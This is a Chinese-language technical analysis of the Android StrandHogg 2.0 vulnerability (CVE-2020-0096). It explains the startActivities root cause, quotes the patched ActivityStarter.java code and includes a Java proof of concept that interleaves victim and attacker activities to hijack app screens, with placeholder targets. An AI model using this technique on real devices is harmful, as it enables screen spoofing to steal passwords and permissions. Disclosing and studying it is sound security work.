CVE-2020-0096 StrandHogg 2.0漏洞分析

一、漏洞背景

  • 近日,安全研究人员披露了一种新型Android严重漏洞,该漏洞编号为CVE-2020-0096,因其与Strandhogg漏洞相似,又被称为“StrandHogg2.0”,影响Android 8.0-9.0之间的Android版本,超10亿台安卓设备。在原来的“StrandHogg1.0”之上,可以执行更复杂的提权攻击。

二、漏洞细节

  • 在Android系统中,Activity作为向用户展示可视内容的组件,它是以任务的方式进行组织的。StrandHogg1.0通过干预Activity任务的行为,实现了Activity劫持,但这被Google认为是正常的功能,所以Google拒绝承认StrandHogg1.0为漏洞,只是从Google Play下架了相关的恶意应用。而StrandHogg2.0则利用了startActivities这个API中的漏洞,同样实现了Activity劫持。
  • startActivities方法的功能是一次启动多个Activity,传入一个Intent数组,Android会解析每个Intent,并逐个启动它们。而该方法传入特定的参数时,会将当前应用的Activity放入其它应用的任务栈中,并且覆盖在该应用原本应该显示的Activity的上层,也就是Activity劫持。
  • 恶意应用可向startActivities方法传入精心构造的Intent数组:奇数位置(假定从1开始)为被攻击的Activity(属于被攻击应用),并且为他们添加FLAG_ACTIVITY_NEW_TASK标志,偶数位置放置仿冒的Activity(属于恶意应用),最末位放置恶意应用伪装的符合恶意应用主题的正常Activity,用于迷惑用户这是一个很普通的应用。也就是:
Intent[] intents = new Intent[]{ 受害界面1, 仿冒界面1, 受害界面2, 仿冒界面2, ... , 伪装正常界面 };
startActivities(intents);
  • 为什么这样构造Intent数组会出现问题?Google在安全公告中发布了代码修改,通过修改后的代码可以找到问题所在,修改的代码位于ActivityStarter.java。
boolean forceNewTask = false;
final int filterCallingUid = callingUid >= 0 ? callingUid : readCallingUid;
//...
if (forceNewTask) {
    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
}
//...
final ActivityRecord started = outActivity[0];
if (started != null && started.getUid() == filterCallingUid) {
    // Only the started activity which has the same uid as the source caller can
    // be the caller of next activity.
    resultTo = started.appToken;
    forceNewTask = false;
} else {
    // Different apps not adjacent to the caller are forced to be new task
    resultTo = null;
    forceNewTask = true;
}
  • 使用startActivities启动界面的时候,在有漏洞的代码下,默认认为第一个Activity的启动者是当前应用,而第二个Activity的启动者是第一个Activity所属的那个应用,以此类推。所以这样就可以解释为何像上面那样构造参数可以造成界面仿冒。
  • 在启动奇数位置的受害界面时,使用了FLAG_ACTIVITY_NEW_TASK标志,这样就会将Activity放入新的任务栈中,并且默认该任务栈的名字和那个应用的包名相同,而启动偶数位置的仿冒界面时,由于当前Activity的启动者默认是上一个Activity所属的那个应用,也就是受害应用,所以仿冒界面会尝试将自己放入受害应用的任务栈中,而只要受害应用的那个受害界面没有配置singleTask或者singleInstance启动模式,Android就会将仿冒界面加入到受害应用的任务栈中,并且仿冒界面位于受害界面之上。在用户真正启动受害应用的时候,由于受害应用的任务栈已存在,所以会直接显示任务栈顶部的界面,也就看到了仿冒界面。
  • 修改后的代码,会判断当前要启动的Activity和上一个启动的Activity是否是同一个应用,如果是才会设置启动者为上一个应用,否则都认为是当前应用启动的,并且创建一个新的任务栈(添加FLAG_ACTIVITY_NEW_TASK标志)。

三、漏洞验证

  • 按照上述方法构造PoC:
public class MainActivity extends AppCompatActivity {
//    You must change here before your run the PoC,
//    otherwise the application will crash due to the ActivityNotFoundException
    private static String TARGET_PKG_1 = "pkg1";
    private static String TARGET_CLASS_1 = "pkg1.clz1";
    private static String TARGET_PKG_2 = "pkg2";
    private static String TARGET_CLASS_2 = "pkg2.clz2";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent1 = new Intent();
        Intent intent2 = new Intent();
        Intent intent3 = new Intent();
        Intent intent4 = new Intent();
        Intent intent5 = new Intent();
//        Intent 1: The first victim activity, add FLAG_ACTIVITY_NEW_TASK flag
        intent1.setClassName(TARGET_PKG_1, TARGET_CLASS_1);
        intent1.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

//        Intent 2: An attacker activity for the first victim activity, no extra flag
        intent2.setClass(this, Attack1Activity.class);

//        Intent 3: The second victim activity, add FLAG_ACTIVITY_NEW_TASK flag
        intent3.setClassName(TARGET_PKG_2, TARGET_CLASS_2);
        intent3.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

//        Intent 4: An attacker activity for the second victim activity, no extra flag
        intent4.setClass(this, Attack2Activity.class);

//        Intent 5: The activity with some normal features, add FLAG_ACTIVITY_NEW_TASK flag
        intent5.setClass(this, NormalActivity.class);
        intent5.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

        Intent[] intents = new Intent[]{
                intent1, intent2, intent3, intent4, intent5
        };
        startActivities(intents);
    }
}
  • 这里我为了避免编写攻击特定的应用的代码,所以TARGET_PKG和TARGET_CLASS的四个变量都使用了占位符,同时你还需要自己编写Attack1Activity,Attack2Activity和NormalActivity,以防止有人利用它来进行实际的攻击。在修改和编写运行程序之后,首先启动该应用,你将看到NormalActivity,当启动受害应用1时候,会看到Attack1Activity,无法正常看到受害应用1的首页,受害应用2也是一样,只能看到Attack2Activity。

四、漏洞影响

  • 显然这是一个精心利用了Android界面设计缺陷的漏洞。和StrandHogg1.0不同的是,2.0版本无需使用特殊的AndroidManifest.xml配置项(taskAffinity),同时可以一次攻击多个应用,所以具备更强的隐蔽性和更大的危害。成功利用该漏洞可以导致界面欺骗,从而诱导用户输入敏感信息和/或授予敏感权限,进而造成敏感数据泄露,如密码、位置信息等等。
  • 该漏洞影响的Android版本:8.0~9.0,最新的Android 10.0不受影响。

五、漏洞补丁

  • 虽然StrandHogg2.0的效果和1.0类似,但是和Google没有承认是漏洞的1.0版本不同,2.0版本被正式授予了CVE编号,并跟随AOSP的5月补丁发布。